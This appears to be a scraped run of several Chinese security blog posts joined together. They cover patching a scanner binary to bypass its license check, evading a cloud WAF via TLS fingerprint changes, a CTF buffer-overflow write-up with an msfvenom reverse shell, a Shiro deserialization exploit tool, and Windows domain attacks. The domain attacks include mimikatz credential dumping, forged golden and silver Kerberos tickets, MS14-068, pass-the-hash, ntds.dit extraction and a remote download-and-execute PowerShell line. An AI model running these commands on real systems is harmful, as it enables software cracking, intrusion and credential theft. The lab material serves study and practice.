1 | ./xray_darwin_amd64 |
1 | 00000000: 74 68 69 73 20 6c 69 63 65 6e 73 65 20 69 73 20 this license is |
1 | 04f92ba3 e838fdffff call sub_4f928e0 |
04f92ba3 was jumped from 04f92a26
1 | 04f92a1f 488b5838 mov rbx, qword [rax+0x38] |
jl to force ignore license expire date1 | 04f92a1f 488b5838 mov rbx, qword [rax+0x38] |
xray_darwin_amd642need a expired license , can be found anywhere.
1 | chmod +x ./xray_darwin_amd642 && ./xray_darwin_amd642 |
Walkthrough is 99% same as x86 version
1 | 100f14820 021c40f9 ldr x2, [x0, #0x38] |
NOP the b.lt
1 | 100f14820 021c40f9 ldr x2, [x0, #0x38] |
1 | chmod +x ./xray_darwin_arm642 && ./xray_darwin_arm642 |
resign the binary
1 | codesign --force --deep --sign - ./xray_darwin_arm642 && ./xray_darwin_arm642 |
1 | ./xray_darwin_arm642 webscan --url http://127.0.0.1:8080/ |
之前搞某个网站发现使用不同客户端发起请求会有不同的响应结果,就很神奇
先看两个不同客户端发起的请求结果

同样的请求复制到python3中用requests发包:
1 | <body data-spm="7663354"> |
一样的请求地址一样的参数一样的http header,burp发送的请求正常响应,python发送的被waf拦截,curl模拟请求也被拦截
waf 是阿里云的waf,dig域名也能看出来 ,cname 解析到了xxx.yundunwaf3.com
多地ping发现并没有cdn,不是cdnwaf
其实第一种解决方法已经出来了,直接ping域名获取真实ip,request直接请求ip地址,在Header中指定Host即可绕过waf的弱智拦截
网上搜了一下相关内容

本来以为是ua的问题,后来更换了ua发现并没有什么卵用
问了问朋友,说python的tls握手有特征
在网上搜了一下,发现确实有很多类似的问题
掏出了安装完从来没用过的wireshark抓了几个不同客户端的请求包
客户端发起https的请求第一步是向服务器发送tls握手请求,其中就包含了客户端的一些特征
相关内容在tls协议报文中Client Hello的Transport Layer Security当中

抓了几个常用客户端的流量瞅瞅
1 | curl 7.76.0 (x86_64-apple-darwin19.6.0) libcurl/7.76.0 (SecureTransport) OpenSSL/1.1.1k zlib/1.2.11 brotli/1.0.9 zstd/1.4.9 libidn2/2.3.0 libssh2/1.9.0 nghttp2/1.43.0 librtmp/2.3 |
1 | TLSv1.2 Record Layer: Handshake Protocol: Client Hello |
1 | macOS 10.15.7 |
1 | TLSv1.2 Record Layer: Handshake Protocol: Client Hello |
1 | 3.7.4.post0 |
1 | TLSv1.2 Record Layer: Handshake Protocol: Client Hello |
1 | [Expert Info (Comment/Comment): Burp Suite v 2021.3.2 |
1 | TLSv1.2 Record Layer: Handshake Protocol: Client Hello |
1 | TLSv1.2 Record Layer: Handshake Protocol: Client Hello |
对比一下burp和requests的Client Hello有什么区别



一些不同的点:
| Burp Suite | Requests |
|---|---|
| TLSv1.2 Record Layer: Handshake Protocol: Client Hello Version: TLS 1.2 (0x0303) | TLSv1.2 Record Layer: Handshake Protocol: Client Hello Version: TLS 1.0 (0x0301) |
| Length: 466 | Length: 338 |
| Cipher Suites Length: 104 | Cipher Suites Length: 86 |
| Cipher Suites (52 suites) | Cipher Suites (43 suites) |
| Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301) Cipher Suite:TLS_AES_256_GCM_SHA384 (0x1302) Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c) | Cipher Suite:TLS_AES_256_GCM_SHA384 (0x1302) Cipher Suite: TLS_CHACHA20_POLY1305_SHA256 (0x1303) Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301) |
| Extensions Length: 285 | Extensions Length: 175 |
| Extension: signature_algorithms (len=46) | Extension: signature_algorithms (len=48) |
| Extension: supported_versions (len=11) | Extension: supported_versions (len=9) |
可以看到很多地方都存在差异,主要为支持的协议,length,支持的加密套件,加密套件的排列方式等
多次请求可以发现相同的客户端发起请求,除了Random和Session ID之外其他内容是完全一样的

所以这里面固定的内容其实就可以作为指纹来进行识别
比如加密套件13 02-00 ff在tcp流当中就有固定的字节顺序

https://idea.popcount.org/2012-06-17-ssl-fingerprinting-for-p0f/
https://github.com/salesforce/ja3
看了下ja3 的指纹计算规则:
The field order is as follows:
1 SSLVersion,Cipher,SSLExtension,EllipticCurve,EllipticCurvePointFormatExample:
1 769,47-53-5-10-49161-49162-49171-49172-50-56-19-4,0-10-11,23-24-25,0
把版本,加密套件,扩展等内容按顺序排列然后计算hash值,便可得到一个客户端的TLS FingerPrint,waf防护规则其实就是整理提取一些常见的非浏览器客户端requests,curl的指纹然后在客户端发起https请求时进行识别并拦截
除了TLS指纹,对User-Agent也是有对应拦截,如果使用带有UA特征的客户端那么UA也是需要更改的
上文提到过,套了阿里云waf的服务器cname解析到了yundunwaf3.com的域名,这种情况可以直接ping 域名获取真实ip,然后请求地址设置为真实ip 在 HTTP Header的Host字段中指定域名即可绕过waf的防护
当然这种方式如果目标服务器开启了强制域名访问会失效
在本地启动代理服务器,如Burp Suite,发起http请求时指定代理服务器为burp的地址,让burp来进行TLS握手,算是一种曲线救国的方法
1 | import requests |
当然这种方案需要找一个不会被拦截的客户端代理才可以,试了几个go写的代理如goproxy发现仍然被拦截
Requests其实是对urllib3的一个封装,那python有没有不用urllib的http request库呢?
翻了翻aiohttp的源码发现貌似并没有用urllib3,抓包发现tls指纹和requests也有着明显的差异
实际测试aiohttp确实没有被拦截
从根本上解决问题,debug跟踪到了几处可能可以修改TLS握手特征的代码
举一个🌰
/usr/local/lib/python3.9/site-packages/urllib3/util/ssl_.py
1 | DEFAULT_CIPHERS = ":".join( |
DEFAULT_CIPHERS中定义了一部分的加密套件,直接进行一个删除
当然其他能改的地方还有很多

成功绕过了阿里云的拦截

原本内容:
1 | Cipher Suites Length: 86 |
修改后的内容:
1 | Cipher Suites Length: 80 |
加密套件的内容发生了变化,使得Finger Print和原本requests不一致
理论上其他客户端也可以进行修改代码实现变更TLS指纹的操作,但是如java,go等编译型语言写的工具在没有源码的情况下修改会很麻烦
感觉是好多年前就被研究出来的技术了,一定程度上来说确实能防止一些特定语言和客户端的爬虫和扫描工具,尤其是脚本小子们,未来各家waf防火墙估计也会上对应的功能,虽然目前只在阿里云waf见过,目前其他家waf的防爬虫功能貌似就是没啥卵用的识别个User-Agent
作为一个Scripting Kiddie日个站已经很不容易了,总搞这种影响体验的东西搞👴的心态真的好🐎?
全版本burp的指纹麻烦加一加,大家都不用上班了,美滋滋(之前有几次发现某些站只要挂了burp就无法访问但是同事其他版本的burp屁事没有,现在想起来可能也是这个问题
]]>1 | ➜ You know 0xDiablos checksec vuln |
1 | ➜ You know 0xDiablos cyclic 500 > out |
1 | ➜ You know 0xDiablos cyclic -l 0x62616177188 |
1 | ➜ You know 0xDiablos cyclic -l xaab |
Payload
1 | "A"*188+eip+payload |
1 | ╰─➤ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4433 -f py -b "\x00\x20\x0A" |
1 | socat TCP4-LISTEN:10001,fork EXEC:./vuln |
1 | from pwn import * |
1 | ulimit -c unlimited |
1 | ➜ You know 0xDiablos gdb-gef vuln /tmp/core.1618245963 |
ESP: 0xffffd360
1 | \x60\xd3\xff\xff |
1 | from pwn import * |
1 | socat TCP4-LISTEN:10001,fork EXEC:./vuln |
1 | ➜ ~ nc -l 4433 |
1 | python3 getshell.py |
1 | ➜ ~ nc -l 4433 |
Done ?
Fuck no
由于启动方式的不同,远程服务器的esp地址还是和本地环境不一致
需要换种思路

main
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
vuln
1 | int vuln() |
flag
1 | char *__cdecl flag(int a1, int a2) |
看源码可以知道flag函数接收两个参数a1,a2,并且会进行判断
1 | if ( a1 == -559038737 && a2 == -1059139571 ) |
1 | 188位的offset使程序发生溢出,后面8位覆盖eip指向flag函数地址,shellcode为call函数时压入栈中的参数 |
IDA中可以确定flag函数的调用地址080491E2
1 | .text:080491E2 push ebp |
也可以使用readelf
1 | ➜ You know 0xDiablos readelf -a vuln | grep FUNC | grep flag |
可以写一个类似的程序确定函数之间调用的细节
1 | int flag(int a,int b){ |
1 | gcc -m32 -z execstack -fno-stack-protector -no-pie -z norelro -D_FORTIFY_SOURCE=0 test.c -o test |
1 | ➜ You know 0xDiablos gdb-gef test |
可以看到在调用flag函数之前将两个参数压入了栈中,然后执行call指令
si进入call flag 看看栈顶多了个什么东西???
1 | gef➤ si |
然后直接进行一个exp的编写

1 | ╰─➤ ls -l |
复制到index.html 同级目录下执行
注意:修改25行root_dir 中的目录为存储Markdown文件的目录
1 |
|
脚本会依次递归扫描root_dir下的目录中的所有Markdown文件
1 | ╰─➤ ls -d VulWiki/*/ |
并且针对文件名中的空格和+号进行了处理,避免出现链接无法点击的问题
效果:
1 | - IOT安全 |
Shiro高版本加密方式从AES-CBC换成了AES-GCM,由于加密算法的变化导致用于攻击shiro-550的exp无法试用于新版Shiro
加密模式的变化发生在针对Oracle Padding Attack的修复,1.4.2版本更换为了AES-GCM加密方式
高版本的加密解密调用了AesCipherService:
1 | private byte[] cipherKey; |
AesCipherService 中设定的加密方式为AES-GCM,Padding为None
GCM模式下,补位信息是完全不需要考虑的,明文与密文有着相同的长度
1 | public class AesCipherService extends DefaultBlockCipherService { |
加密解密方法的实现在JcaCipherService
1 | public ByteSource encrypt(byte[] plaintext, byte[] key) { |
然后生成ivBytes
initializationVectorSize为128 会随机生成16位的ivBytes
1 | protected byte[] generateInitializationVector(boolean streaming) { |
之后传入重载的同名方法进行加密
1 | private ByteSource encrypt(byte[] plaintext, byte[] key, byte[] iv, boolean prependIv) throws CryptoException { |
iv的取值:从密文开头取16字节作为iv
16字节之后的内容作为密文进行解密
1 | public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException { |
1 | private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException { |
头皮发麻
https://github.com/Ares-X/shiro-exploit/blob/master/ndecode.py
设定加密模式为aes-gcm,base64解密后取前16位作为iv,取后16位作为tag进行签名验证,中间的为密文
1 | import os,base64,uuid |
设定加密模式为aes-gcm,随机生成16位iv,使用encrypt_and_digest 生成密文和tag,将iv+密文+tag base64编码输出即为最终的rememberMe内容
1 | import os,base64,uuid |
测试:
1 | ╭─[aresx@AresX-Mac.local]-[~/tools/exp/shiro] ‹master*› |

重构了之前的shiro-exploit
https://github.com/Ares-X/shiro-exploit
目前支持了shiro AES-GCM加密方式的漏洞利用和爆破key
对于大部分功能存在三个可选参数:
-v 参数可指定shiro的版本,CBC加密版本 Version 为1 ,GCM加密版本 Version 为2 (目前最新为GCM) 如不指定默认为1
-u 参数可将payload发送至指定url,如不指定url将输出base64编码后的payload用于手工利用
-k 参数可指定shiro加密所用的key,如不指定将使用默认key kPH+bIxk5D2deZiIxcaaaA== 可修改文件头部的key来更换默认key
如需配合ysoerial使用请在脚本中更改yso_path的路径指向本机对应的ysoserial.jar
爆破Shiro key,如不指定版本 -v 将自动尝试两个版本的爆破
1 | python3 shiro-exploit.py check -u http://xxx/ |
或指定Shiro版本
1 | python3 shiro-exploit.py check -u http://xxx/ -v 2 |
获取指定key的check数据
1 | python3 shiro-exploit.py check -k <key> |
1 | python3 shiro-exploit.py encode -s ./cookie.ser -u http://xxx/ |
获取Payload编码内容
1 | python3 shiro-exploit.py encode -s ./cookie.ser |
1 | python3 shiro-exploit.py yso -g CommomsCollections6 -c "curl xxx.dnslog.cn" -u http://xxxx/ |
获取Payload编码内容
1 | python3 shiro-exploit.py yso -g CommomsCollections6 -c "curl xxx.dnslog.cn" |
默认命令为whoami,可在生成的Payload的header中修改testcmd对应内容
内置xray的6条tomcat回显链
[CommonsCollections1/CommonsCollections2/CommonsBeanutils1/CommonsBeanutils2/Jdk7u21/Jdk8u20]
1 | python3 shiro-exploit.py echo -g CommomsCollections1 |
不指定command默认为whoami
1 | python3 shiro-exploit.py echo -g CommomsCollections1 -u http://127.0.0.1:8080/login -c ifconfig |
1 | ╰─➤ python3 shiro-exploit.py echo -g CommonsCollections1 -u http://127.0.0.1:9080/login -c "ip addr" 2 ↵ |
攻击新版AES-GCM加密的shiro
1 | ╰─➤ python3 shiro-exploit.py echo -g CommonsCollections1 -u http://127.0.0.1 -v 2 -k zSyK5Kp6PZAAjlT+eeNMlg== -c ifconfig |
出现Congratulation说明存在漏洞,无法获取命令执行结果可能因为命令有误,请更换命令或复制到burp手动利用查看回显
]]>Xray新版本支持了shiro反序列化的检测,前提是拥有高级版License
对于shiro反序列化的检测首先会使用默认key尝试6个回显Gadget,然后尝试使用连平台,全部失败之后会尝试内置的100个key进行爆破
有价值的就是那6个支持tomcat全版本回显的Payload了
设置xray通过burp代理发送流量,然后修改配置文件中的http和tcp超时都为2秒
启动拦截器后放行第一个检测是否使用Shiro的请求之后开启拦截,等待扫描进程结束,可以在HTTP History中看到检测使用的Payload,多次拦截并按顺序Drop修改返回包头部包含检测的Testecho内容,就可以找到该payload对应的gadget
分别是CommonsCollections1 CommonsCollections2 CommonsBeanutils1 CommonsBeanutils2 Jdk7u21 Jdk8u20
获取到Payload之后解密然后base64保存,可以方便在没有使用默认key需要改key的情况中的使用
提取之后的Payload在下面的脚本里
https://github.com/Ares-X/shiro-exploit.git
使用效果:
1 | ╭─[aresx@AresX-Mac]-[~/tools/shiro] ‹master*› |
新建一个空项目
漏洞环境的代码需要从docker中拖出来,以shiro为例,启动之后docker exec -it xxx /bin/bash 进入容器,找到漏洞环境的程序

可见漏洞环境被打包成了jar,然后通过java -jar启动的,那么把shirodemo-1.0-SNAPSHOT.jar 复制出来,就获取了漏洞环境的全部内容
1 | docker cp a7:/shirodemo-1.0-SNAPSHOT.jar ./ |
调试代码需要本地拥有代码文件,jar可以作为Library添加到项目,然后idea会自动将class还原成代码,但是添加之后发现jar中的lib目录还有jar,这里面引入的jar无法再次作为Library添加,所以看不到其中的代码
可以直接将jar解压到项目根目录

再将右键lib目录添加到Library,然后打开Project Structure,Modules->Dependencies 添加要调试的class文件的目录BOOT-INF 这里如果不添加的话无法在class文件中的行断点无法击中,只能击中方法断点


注意Project Structure 里要选择一个与远程java版本相同的jdk
这时连接上远程调试端口便可以开始调试了
还原项目的java代码可以使用cfr
1
2
3 brew install cfr-decompiler
cd /usr/local/bin
mv cfr-decompiler cfr然后就可以使用cfr将class反编译回java代码了
1 cfr shirodemo-1.0-SNAPSHOT.jar --outputdir ./src
IDEA其实有添加对docker调试的功能,前提是本地有完整的文件,代码+dockerfile
https://blog.jetbrains.com/cn/2019/07/intellij-idea-docker/
不适用于目前的情况,现在只有个docker镜像,和从里面拖出来编译后的文件
思路就是把拖出来的class或jar ,通过添加为库来获取其中的代码(上一步做的内容),然后像正常调试java程序一样,进入docker容器内部,修改java程序的启动命令,增加调试的支持,之后idea中添加一个remote来连接到docker中的调试端口即可
以idea默认的5005端口为例,修改docker-compose.yml添加一组暴露端口,用来供idea连接至docker内部
1 | version: '2' |
然后docker-compose up -d正常启动容器
docker exec -it xxxx /bin/bash进入容器,然后想办法找到java程序的启动方式,
比如ps -ax
1 | root@a7c7e2041409:/# ps -ax |
或者docker-compose up -d之后使用docker ps --no-trunc 来查看容器默认的启动命令

找到了程序启动方式,vulhub的shiro环境是java -jar xxx.jar的形式运行的,那么添加对jar程序启动的调试命令即可,在启动docker时用自定义的COMMAND替换默认的COMMAND
修改
1 | version: '2' |
然后重新docker-compose up -d 即可
idea里添加一个remote

点debug,出现Connected to the target VM, address: 'localhost:5005', transport: 'socket'
即是正常连接
打个断点
断点上出现勾号表示成功
command进入方法,再下一个断点同样成功

浏览器提交登录请求

成功击中断点
IDEA各种断点
https://blog.csdn.net/f641385712/article/details/93145454
对java常见的几种启用调试的方法做了总结
JAR
1 | jdk<=1.7 |
Tomcat
catalina.sh 中添加
1 | JPDA_TRANSPORT=dt_socket |
或
1 | CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=60222,suspend=n,server=y" |
Weblogic
Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh 中添加
1 | debugFlag="true" |
使用途中出现报错Attempted "__iter__" operation on ASN.1 schema object
1 | C:\Users\leo\Desktop>goldenPac.exe sun.com/leo:[email protected] |

起初怀疑是打包的exe运行环境有问题,搭建代理进内网,使用proxychains代理goldenPac.py 仍出现该错误
1 | aresx@XXXXXXXXXX:/mnt/e$ proxychains goldenPac.py sun.com/leo:[email protected] |
谷歌一顿猛搜,发现在其他的开源项目中也有人提过这个错误的issue,原因是pyasn1库的bug,然后参考一个使用低版本pyasn1库的解决方案
pip list 确定了当前安装的pyasn1版本为0.4.8
1 | aresx@XXXXXXXXXX:/mnt/e$ pip list |
卸载,安装低版本0.4.5
1 | pip uninstall pyasn1 |

用pc4代理再执行一次,成功弹回域控机器的shell
1 | aresx@XXXXXXXXXX:/mnt/e$ proxychains goldenPac.py sun.com/leo:[email protected] |
试试重新打包的exe,同样成功,问题解决

域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议
域渗透学习(三)域内信息搜集
域渗透学习(四)Dump Password & Hash
域渗透学习(五)基于IPC的远程连接
域渗透学习(六)PTH 哈希传递攻击
特点:
在前文kerberos认证中的Ticket的组成:
1 | Ticket=Server Hash(Server Session Key+Client info+End Time) |
当拥有Server(Service) Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。
Server Session Key在未发送Ticket之前,服务器是不知道Server Session Key是什么的。 所以,一切凭据都来源于Server Hash。
1 | C:\files>mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt |

或者使用RCE漏洞获取到目标后加载mimikatz读取 该主机名为WEB的服务器

msf中加载mimikatz后使用msv来获取所有哈希
1 | meterpreter > load mimikatz |
其中这一条即为需要的Service Hash
1 | 0;996 Negotiate DE1AY WEB$ lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d } |
尝试访问主机WEB
需要进行身份验证
伪造票据前先清空票据,保证票据列表干净
1 | kerberos::list #列出票据 |
伪造票据:
1 | mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit |
伪造票据需要目标主机的主机名,主机名对应用户的NTLM Hash 和域的SID
获取域的SID可以通过wmic useraccount where name="krbtgt" get sid 或者下文中获取高权限账户后使用lsadump::dcsync /user:krbtgt

域SID即为图中标红的S-1-5-21-2756371121-2868759905-3853650604 红色后面的的是RID 并非域SID
注意如果查询的用户名同时存在域用户和本地用户的话,会得到两个查询结果:如图中查询的de1ay用户会返回两个SID
获取到所需的信息后使用mimikatz伪造一个管理员权限的票据:
1 | kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:WEB /service:CIFS /rc4:01ad29e76541f46e60129e2fb3acfc5d /user:Administrator /ptt |

再次访问WEB服务器,成功
访问DC仍然需要验证:
由于白银票据需要目标服务器的Hash,所以没办法生成对应域内 所有服务器的票据,也不能通过TGT申请。因此只能针对服务器上的某些服务去伪造,可伪造的服务类型列表如下:
| 服务 | 服务名 |
|---|---|
| WMI | HOST、RPCSS |
| Powershell Remoteing | HOST、HTTP |
| Scheduled Tasks | HOST |
| LDAP 、DCSync | LDAP |
| Windows File Share (CIFS) | CIFS |
| Windows Remote ServerAdministration Tools | RPCSS、LDAP、CIFS |
服务端可能的防御措施:HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters
中的ValidateKdcPacSignature设置为1,可规定服务器将票据发送给kerberos服务,由 kerberos服务验证票据是否有效
域中有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递
域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要获取到krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket。
DCSync (mimikatz)
mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。
1 | lsadump::dcsync /user:krbtgt |
1 | mimikatz # lsadump::dcsync /user:krbtgt |
或者在 meterpreter 中使用 kiwi 扩展
1 | dcsync_ntlm krbtgt |
1 | meterpreter > getuid |
LSA(mimikatz)
mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取
1 | privilege::debug |
Hashdump(Meterpreter)

使用meterpreter中的kiwi模块:
1 | load kiwi |
创建票据
1 | golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket本地存储路径如:/tmp/krbtgt.ticket> |
1 | golden_ticket_create -d de1ay.com -u test -s S-1-5-21-2756371121-2868759905-3853650604 -k 82dfc71b72a11ef37d663047bc2088fb -t /tmp/krbtgt.ticket |

对域内其他机器进行共享访问,因为无权限失败

注入到内存
1 | kerberos_ticket_use /tmp/krbtgt.ticket |
再次访问
可成功访问域内其他机器和域控

此时也可使用wmic在WEB机器上执行命令
1 | wmic /authority:"kerberos:de1ay\WEB" /node:"WEB" process call create "calc" |

命令已经在目标服务器上以administrator权限成功执行

使用mimikatz
1 | mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit |
访问另一台机器WEB \\web\C$ 需要身份验证

使用mimikatz伪造黄金票据
进入mimikatz交互界面
使用kerberos::list查看当前凭据列表

发现已经有部分凭据,使用kerberos::purge来清空凭据确保凭据列表是干净的

使用前面获得的krbtgt用户的哈希生成黄金票据
SID
1 | Object Security ID : S-1-5-21-2756371121-2868759905-3853650604-502 |
注意这里的是域SID+RID(-502) RID去掉后才是域SID
NTLM Hash
1 | 82dfc71b72a11ef37d663047bc2088fb |
生成黄金票据并注入内存
1 | kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /rc4:82dfc71b72a11ef37d663047bc2088fb /user:xxx /ptt |

查看票据 kerberos::list
再次尝试访问目标服务器WEB
同样也可以访问DC服务器(或域内任意一台机器)
注意:如果使用 IP 地址访问的话会失败,使用 Netbios 的服务名访问才会走 Kerberos 协议
测试环境:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
利用PAC验证缺陷,导致可以通过伪造PAC中的用户签名来获取域管理员权限
具体详情:
https://technet.microsoft.com/library/security/ms14-068.aspx
https://www.freebuf.com/vuls/56081.html
利用前提
可以在DC机器上查看是否安装KB3011780补丁来判断是否存在MS14-068漏洞

利用该漏洞最简单的方法是使用Impacket工具包中的goldenPac 模块
先查看当前用户权限

Domain Users用户组
访问DC目录被拒绝

复制goldenPac.exe 到目标机器
目前已获取当前机器普通域用户leo 密码 123.com
1 | goldenPac <域名>/<用户名>:<密码>@<域控地址> |
1 | C:\Users\leo\Desktop>goldenPac.exe sun.com/leo:[email protected] |
或者使用proxychains将goldenPac代理进内网
1 | aresx@XXXXXXXXXX:/mnt/e$ proxychains goldenPac.py sun.com/leo:[email protected] |
goldenPac使用可能会因为pyasn1库的原因出现问题,可以参考:解决goldenPac报错问题
使用方法:
1 | ms14.068.exe -u <用户名>@<域名> -s <SID> -d <DC机器地址或ip> -p <用户密码> |

1 | C:\Users\leo\Desktop>MS14-068.exe -u [email protected] -s S-1-5-21-3388020223-19827017 |

获得ccache文件后,可使用mimikatz进行票据注入
kerberos::purge或者cmd中执行klist purge

1 | kerberos::ptc cache路径 |

注入完成后再次尝试是否有权限访问域控

用Vulnstack靶场二测试的时候没有成功,报了如下错误




如果有知道为什么的求留言告知
]]>域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议
域渗透学习(三)域内信息搜集
域渗透学习(四)Dump Password & Hash
域渗透学习(五)基于IPC的远程连接
在前文Windows认证机制(网络认证 Net NTLM)章节中可以了解到,在获取了目标机器用户的NTLM Hash的情况下,可无需破解哈希直接使用目标的NTLM Hash来完成身份验证
哈希提取请参考域渗透学习(四)DUMP PASSWORD & HASH

如这里获取到的NTLM Hash 4d01fbeeaf2b706478943e0889df5622
可完成Pass The Hash的工具:
注意,PTH仍然是基于IPC远程连接实现的,所以关于账户权限,与 域渗透学习(五)基于IPC的远程连接 中提到的相同
1 | pip3 install impacket |
1 | psexec.py -hashes :<hash> 域/域用户名@192.168.10.2 |

1 | smbexec.py -hashes :<hash> 域/域用户名@192.168.10.2 |
1 | PS C:\Users\AresX> smbexec.py -hashes :4d01fbeeaf2b706478943e0889df5622 de1ay/[email protected] |
1 | PS C:\Users\AresX> wmiexec.py -hashes :4d01fbeeaf2b706478943e0889df5622 de1ay/[email protected] whoami Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation |
https://github.com/byt3bl33d3r/CrackMapExec/wiki
1 | pip2 install crackmapexec |
截止到2020/3 官方程序尚未支持Python3
Windows安装需要额外安装Microsoft Visual C++ 14.0,建议*nix环境下安装
使用CrackMapExec实现Hash传递:
1 | aresx@XXXXXXXXXX:~$ cme smb 192.168.10.201 -u administrator -H 4d01fbeeaf2b706478943e0889df5622 -x whoami |
https://github.com/ShawnDEvans/smbmap
1 | PS E:\Tools\内网渗透工具集\smbmap> python3 .\smbmap.py -u administrator -d de1ay -p f471ca8ea823361ef9393d97e7a1873c:4d01fbeeaf2b706478943e0889df5622 -H 192.168.10.201 |
Smbmap需提供LM Hash:NTLM Hash
使用的是exploit/windows/smb/psexec
注意这里填入的哈希是LM Hash:NTLM Hash
1 |
|
域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议
域渗透学习(三)域内信息搜集
域渗透学习(四)Dump Password & Hash
windows默认情况下开启的共享:

当我们获取到可用于远程管理的账户时候,便可通过对ADMIN$目录建立IPC连接的方式远程连接到工作组或域内其他计算机,获取目标机器的控制权限
1 | net use \\192.168.10.2 /u:domainname\administrator password 建立ipc连接 |
这里需要注意只能使用被添加到远程计算机管理员组的域用户来远程连接,具体原因参考关于IPC连接和Psexec的用户权限问题
即默认情况下只有域管用户有权限对admin$目录建立IPC连接,其实本地的Administrator用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用Administrator用户远程连接
1 | schtasks /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 命令 /sc ONSTART /s 域机器ip /RU system |
可先建立ipc连接再使用psexec无需输入密码
1 | net use \\IP /u:域名称\域账号 密码 |

或者直接使用psexec
1 | .\PsExec.exe \\192.168.10.201 -u de1ay\Administrator -p 1qaz@WSX -s cmd.exe -acceptcula |

1 | PS C:\Users\AresX> smbexec.py de1ay/administrator:2wsx#[email protected] |
1 | PS C:\Users\AresX> psexec.py de1ay/administrator:2wsx#[email protected] |
或者直接执行命令
1 | PS C:\Users\AresX> psexec.py de1ay/administrator:2wsx#[email protected] whoami |
1 | wmiexec.py <域>/administrator:<密码>@192.168.10.201 <命令/也可留空返回伪交互shell> |
1 | PS C:\Users\AresX> wmiexec.py de1ay/administrator:2wsx#[email protected] whoami |
域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议
域渗透学习(三)域内信息搜集
目的:获取windows用户密码或者Hash,用于远程登录域内其他机器,或进行后续的哈希传递和票据传递攻击
注册表读密码
1 | reg save HKLM\SYSTEM C:\windows\temp\Sys.hiv |
1 | privilege::debug |
内存读取密码
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit |

或者使用procdump来绕过杀软对mimikatz拦截
1 | procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp |
mimikatz
1 | powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" |

nishang
1 | powershell IEX (New-Object Net.WebClient).DownloadString(‘https://github.com/samratashok/nishang/blob/master/Gather/Get-PassHashes.ps1');Get-PassHashes |

mimikatz模块
1 | load mimikatz |


hashdump
1 | hashdump |

1 | wce -l |

DCSync (mimikatz)
mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。
1 | lsadump::dcsync /user:krbtgt |
1 | mimikatz # lsadump::dcsync /user:krbtgt |
或者在 meterpreter 中使用 kiwi 扩展
1 | dcsync_ntlm krbtgt |
1 | meterpreter > getuid |
LSA(mimikatz)
mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取
1 | privilege::debug |
Hashdump(Meterpreter)

Windows的密码是经过hash后存储的,本地存放在hklm\sam以及hklm\system注册表中,域里面是存放在域控制器的c:\windows\ntds\ntds.dit中
创建快照
1 | ntdsutil snapshot "activate instance ntds" creat quit quit |

挂载快照
1 | ntdsutil snapshot "mount {快照id}" quit quit |

复制ntds.dit到本地:
1 | copy 装载位置\windows\NTDS\ntds.dit C:\ntds.dit |
解除挂载:
1 | ntdsutil snapshot "unmount {快照id}" quit quit |
删除快照:
1 | ntdsutil snapshot "delete {快照id}" quit quit |
开始解密,首先通过注册表的方式获取KEY
1 | reg save HKLM\SYSTEM c:\windows\temp\sys.hiv |
获取到ntds.dit和system.hiv之后 便可以使用工具导出域内所有用户的哈希
QuarksPwDump
1 | QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\sys.hiv -o c:\pass.txt |
impacket
1 | pip3 install impacket |
https://crack.sh/get-cracking/
http://hashcrack.com/index.php
http://cracker.offensive-security.com/index.php
http://www.objectif-securite.ch/en/ophcrack.php
域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议
目标:判断域环境,定位域控制器的IP地址,获取域内其他成员机器的信息
1 | net time /domain |
通过查询时间服务器判断是否存在域

一般时间服务器就是域控机器,可以ping获取其IP

1 | ipconfig /all |
通过DNS后缀判断是否存在域

